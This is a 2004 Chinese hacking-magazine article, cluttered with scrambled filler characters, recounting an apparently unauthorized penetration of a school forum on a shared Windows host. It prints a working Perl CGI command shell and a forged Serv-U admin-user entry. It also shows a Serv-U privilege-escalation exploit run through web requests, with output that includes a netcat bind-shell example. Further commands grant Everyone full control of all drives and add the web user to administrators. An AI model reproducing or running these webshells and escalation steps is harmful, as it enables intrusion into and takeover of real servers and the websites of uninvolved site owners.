剑走偏锋——灵巧的旁注攻击 7 P! t9 O9 A w5 F1 ]' ^0 [7 S ?
本文作者:angel# L3 T# {0 f4 b6 a# a. G
文章性质:原创7 Q( N8 [! ~5 [# v
发布日期:2004-11-09
. C' {$ f' @9 R# ~注意:
) _ W: l; |8 ~$ x* k' z本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
% q1 h. k8 I. J& q* U5 V本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
1 i, a: x# _1 Q5 J% r9 f( S' Q) V I7 T" i5 g
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 1 h. \2 `" T. B* n' q7 e
' q/ h1 J, V6 Q- G
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 6 n2 d# v$ F* Z( r- J/ R2 K
2 |+ e! x8 k2 J: f8 _! Z1 O% I& s( r# f
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 7 t6 V1 P& O& F+ T2 e4 b' S" D- W
4 Q8 N9 Y- n7 y0 i( W2 o: O 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
, N- H) L# ~6 `, N5 o; G0 i- Z0 |: d s$ w
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
0 o, k( U) |4 D z4 H% K* B1 y& p) b g0 Z7 h0 }
没有目的的跳转目录着…… * D \3 s! y% ?% [( W
' l, d0 m; t& U/ G6 X1 s 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 4 M9 T' @5 `! k8 L8 f0 i( W& C
2 w5 R8 x% J7 j. [ 结束了吗?不,我试着 FTP 一下: - `, _/ u( T- {
' t& n8 ]* X) X9 d$ C1 O8 y
Microsoft Windows 2000 [Version 5.00.2195]5 v3 ^6 w- S/ e& F2 N3 A" G
(C) 版权所有 1985-2000 Microsoft Corp.
: n7 i* X/ @8 _
0 @: c# O1 f& t/ g* I* SC:\Documents and Settings\Administrator>ftp www.school.com
$ j' h; K. t' Y' g ~" B3 zConnected to www. school.com.
9 E% L* b; k6 w" `1 c220 Welcome to FTP Server... % M4 W2 k& r8 q% h% i. @4 j6 ~& o
User (www.bjtrq.com:(none)): 6 p X1 Y F( e/ t. a# U! I$ ?
331 User name okay, need password. & v8 P; L2 R A
Password:
* j, A0 a$ Y* l1 R- R530 Not logged in.
0 _; T" N2 S7 c8 g) R u1 ULogin failed. + ]. v: ^; d$ `$ ~ s: |( Z9 Z7 ]
ftp> bye $ C+ e& _5 L, U+ p& k# v* s
221 Goodbye!
/ H; l0 T$ W$ E L; {. V8 m4 p
) S1 ~. U% M& d" U. g; C6 d0 E! m5 Q' O& f
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 4 c: k; [0 P- T
; D/ H2 C# S) S$ l3 b; h 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
3 q; Z# G5 o" I1 j
; ?* c* i" [. o* \5 z* S$ D! HApplication Data8 q% M+ H* a5 _, \+ W2 I
Documents5 O7 x8 ]3 y( r8 ]; g/ X/ p
DRM3 [ j3 N! j" Y8 f
Favorites3 M3 z8 c$ i3 \% o: k
Templates
8 y0 j1 s' \; U( e「开始」菜单# p0 _, Q! N2 {7 B, v: M: X
桌面
6 a' U3 t: x% X* F
. i5 T8 T( h. I8 o/ N' w5 \$ {7 F- x& ]3 U! |; c" X
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
7 d' N8 b7 X' [: l5 y# [$ R1 Q' R& N- }# |' I @* A
ActiveState ActivePerl 5.8' V6 F4 u- s p Z: p% V {$ }% G
Administrative Tools
( l; g+ I% c2 l( M. lDeerfield.com
, R: }/ N, e) k A* k4 g2 m0 L5 rDTemp
Z- J* ]! O r3 N0 fIPSentry. O$ F. _- w: n9 Y" K4 Z
MBM 5
: p( y7 X- O% YNetMeter8 h; n& Z% C9 a v
Network ICE1 X( {. j; s: `
Persits Software AspEmail; W7 ~- W f; @. D# ^. ]1 a
Persits Software AspJpeg! i3 M `% }1 ]- p; n* N F, Q
Serv-U FTP Server
; P' f* }* W7 m# `$ |9 n9 cSymantec Client Security6 q. j8 m3 b; t- `/ J h( k
Windows 优化大师( E7 k/ D6 y/ O
WinRAR
( p( r9 [; ^( P; A' N8 @# s启动+ `; J: W: T% G: s1 C' P. l4 y6 q+ ?
管理工具
2 o; h9 ]( u; ]% e附件
8 B+ @' k$ X& U( [: I6 P
5 D. N1 Q9 G; Y! l# Z4 c/ @, Q* h& y# ?6 m& b
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 3 S# _7 q Z$ j# w4 I
1 o: ]. C- O0 ~9 T3 E
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 6 o3 R9 m7 Y: Z% L) }& T4 }: Y& w
6 u$ V. `9 H: r4 z
User281=angel|1|0 n3 `% x) u: p- S* Q5 k
( W& n# |5 t4 h6 y: {) ]4 X, u% d4 Y) H: |/ X8 T) ?
然后加上
" |3 v6 p9 V, n: [' T7 y; S
+ U+ ~! Y0 f: ?7 _4 l$ d" r; o' @[USER=angel|1]% a u, x5 Q$ a) @3 R, @ `9 L& p+ |
Password=ng98F85379EA68DBF97BAADCA99B69B8053 p) ?: s2 b& d4 y" Q0 O# H7 N
HomeDir=D:\websites
/ p( _& q I9 ~- }; SRelPaths=1( d- K4 r+ ^ K# X" A7 {
TimeOut=600
3 t5 e0 Q7 v* J! l7 TMaintenance=System/ h E8 A1 y8 m. _, A
Access1=D:\websites|RWAMELCDP
5 v% e) E: U U7 P( oSKEYValues=
. B0 ~% Q9 q8 p4 `! \2 u* ] : p- a0 d( L8 X+ {3 d
7 E1 v" `1 V, x: P+ K 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # Z! E; _9 [; X' f' k
: @: X; O9 Q/ g- J7 @
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ( S) [$ q# w" {
; x0 P8 s" M+ M: { 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
5 d- e4 L$ A/ P* g/ R
9 W% K' V Z# y1 ]" c7 v$ K3 H 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
5 a/ v9 p P. X# k- k
. z1 k6 W2 ]. ^3 f+ G#!/usr/bin/perl
: Z, v" Z: @4 S2 cbinmode(STDOUT);
8 ^# J! E5 U" I9 [syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);/ M0 c2 @ f2 ~* l- A
$_ = $ENV{QUERY_STRING};% f8 h: _. F5 X" T( e3 ?$ O
s/%20/ /ig;6 X% c' X( y5 I& _- z
s/%2f/\//ig; `4 w6 i" p3 r1 D& v# `5 q
$execthis = $_;$ y; ^, q: B: U- R h& s, Q
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
1 ]' v& @5 I/ C2 i* y+ H' Hopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
' r# F3 ]$ @% \+ Xsystem($execthis);7 E% d1 [: G4 ]) P N* `
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
) j& i( Y# I2 J0 Xclose(STDERR);7 @% l7 R& G7 S* D7 s1 t0 L
close(STDOUT);* d( n3 D; s7 S- v% R' D& H: i; {
exit;
7 Q5 k3 ?! _3 n- V$ Q / K1 F; d+ R4 |$ N& M
) b7 K7 A, v$ A' u) |7 Y2 v: F
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
8 p' K5 Z% H1 v |+ J* d$ f
# i+ L: ~9 [: p" A 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
b0 [8 W; F' g: ^6 i. o! D# z% K; ^7 H6 e5 Q+ T% n* r
http://anyhost//cmd.pl?d:\user\bin\su.exe * _( R8 j# l: G
% O3 y# }5 x$ [9 e. m/ s- t3 c
) k- d8 [2 _# w3 O- l7 K$ V 返回:
: I5 `# S6 R! p6 V {3 v! Q0 Q8 }2 L; r9 `5 P- i
Serv-u >3.x Local Exploit by xiaolu
6 j' A. R' n m1 d0 g& i6 K1 C9 E% N% `3 ~- m2 E
USAGE: serv-u.exe "command"
7 K, [. Y( N0 i6 I8 d1 F5 g/ _0 T: O. x$ C1 o
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
W0 C. C9 f/ M8 @% \$ Y( s! {6 W; V
6 V& H1 P" r$ c6 V+ y
_- c! c) [. G 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: # S3 v7 I5 r, q
8 ?. p" ^) e8 }* I% c7 y5 Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
3 ^/ W1 J% `, H+ w, @* C" ]
2 m* U' b6 n9 G/ d$ U: Shttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" $ Y& O2 |3 N2 j# a- b' V% K- T( p1 e
& T+ D" v* N9 R4 g- Mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ) h% [& ]) B) _" H( Z, a5 R( b8 b s
# ]* ?8 I+ D. @- |1 U
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ; `3 I- v! `! ~# G# R
5 T' ]0 i. X3 C
7 u$ j: v$ t% h3 t 返回下面的信息,就表示成功了!!!
( K& V4 q7 u$ y+ Z: t
# ~* ]/ {/ B/ g4 F: J4 c( @Serv-u >3.x Local Exploit by xiaolu 2 R" c" Y8 D: `7 L: ?
( h/ \8 Q( N+ z
<220 Serv-U FTP Server v5.2 for WinSock ready... 1 J) ?% e' I/ H3 K) |( R
8 w8 J1 V& F9 u; o5 F+ x
>USER LocalAdministrator
2 |4 ]7 Z# ~& r2 [: v8 h# |, v- z5 Z, V ]$ J! l" D
<331 User name okay, need password. - q1 z! G* `/ k" {
# P& _) h W* k5 Q
****************************************************** 5 ~0 u& C0 y0 [, z9 P' f
5 P, r" ] @6 _4 n9 i
>PASS #l@$ak#.lk;0@P + S; G0 y) ]7 G, V) Q7 U0 A
8 u4 s& V4 l$ J<230 User logged in, proceed. * M6 ?% ]) G, u3 G. v! F
$ _8 I" n7 m, m******************************************************
9 o+ S: Z- l1 h g' C$ Y3 v. V
7 Q0 C, t6 K* _8 A) L% B0 U, N>SITE MAINTENANCE
6 A1 D3 x. R$ V. e7 v
l7 n/ j: E$ w& y****************************************************** 3 p. M) }$ ~8 u: O. ~! a7 N- b/ e" z
9 O3 b' F! s L. w' Q[+] Creating New Domain...
5 m4 t3 V: `8 f# g
4 @2 D* U+ I h$ i0 x1 M9 C<200-DomainID=2
& F9 u0 b; A7 ?# e: H8 _- _2 V5 W
$ _& f1 w" S7 X: d R- J; q<220 Domain settings saved
9 C! @6 Z" ?. N2 v: U+ X; D6 T' K' o1 I! c) j% e
******************************************************
% e) i: w# T- }0 u# P; j
) q0 s; r0 q6 |[+] Domain xl:2 Created 4 j; M7 e" |' |9 z |
1 w( o& [5 J) Q[+] Creating Evil User . h, x& M4 B2 s5 p
6 f4 A: X/ ]* J6 M<200-User=xl 5 |& a/ F8 m5 E+ b* `
% \# J1 D1 E" f* J8 l
200 User settings saved
) ?+ ^2 R9 g8 T% Y$ a( t& K
+ ?1 K' T- R; [****************************************************** 8 j% f# S; m) l; u2 l
! @, i) w9 ?3 }0 {; I! l
[+] Now Exploiting...
" P4 P/ Z- b5 ]$ W5 D3 c" [: j3 P S/ d) C* n9 t2 t
>USER xl
# B& H+ W' R% Y. r4 @9 s4 y. c1 D, l1 }+ ?- x
<331 User name okay, need password. 4 x/ o* t) r" a2 V7 s
/ @: h. B0 c0 l! ~" k****************************************************** % V3 _6 m' {# Z5 Z. S$ \) [2 e: o
6 l% n7 L7 X( M$ R
>PASS 111111
( G9 p) c5 q) ?# j( h( s1 e
, z# C1 |6 {7 t8 R4 P e. Z8 [ H<230 User logged in, proceed.
0 |9 [9 C8 a3 a; v+ o
/ d* d, J2 H6 g T6 ?****************************************************** 5 L$ W `6 z. O1 O. Z
' l! ^# @, o5 n) i s' g p
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
/ `! z$ F) P) K# Q: s/ ^; }' W& N$ y* e' U& H0 q/ h* g
<220 Domain deleted , w- X- {/ c+ @: H
9 I. E0 z( M! H" o! {( S: N' e2 N
******************************************************
! Z& m' ^" I1 W6 e1 K6 V- y $ |: ?: I# G% p+ P/ l1 q
- C# J9 w6 C' c- F9 S; e- C0 @ 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
& W; m( C. u, q. h8 s- _, H# D& ]( ^+ a# y9 b1 O1 i
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 8 e w8 V! H& M9 C$ ?" I+ Z6 [% t4 Y6 I
( S# r4 P8 [8 H! [3 ^. w" _' h6 e. U& |
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 $ x! h( ]& g2 i* D. O t
s5 o* U8 q1 C" S
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。8 u% }2 [6 t- d0 Y7 _& c$ u
2 J, O0 t& |! r! O( A5 t$ o
( t, z3 [; t* x6 x% t0 |1 \ |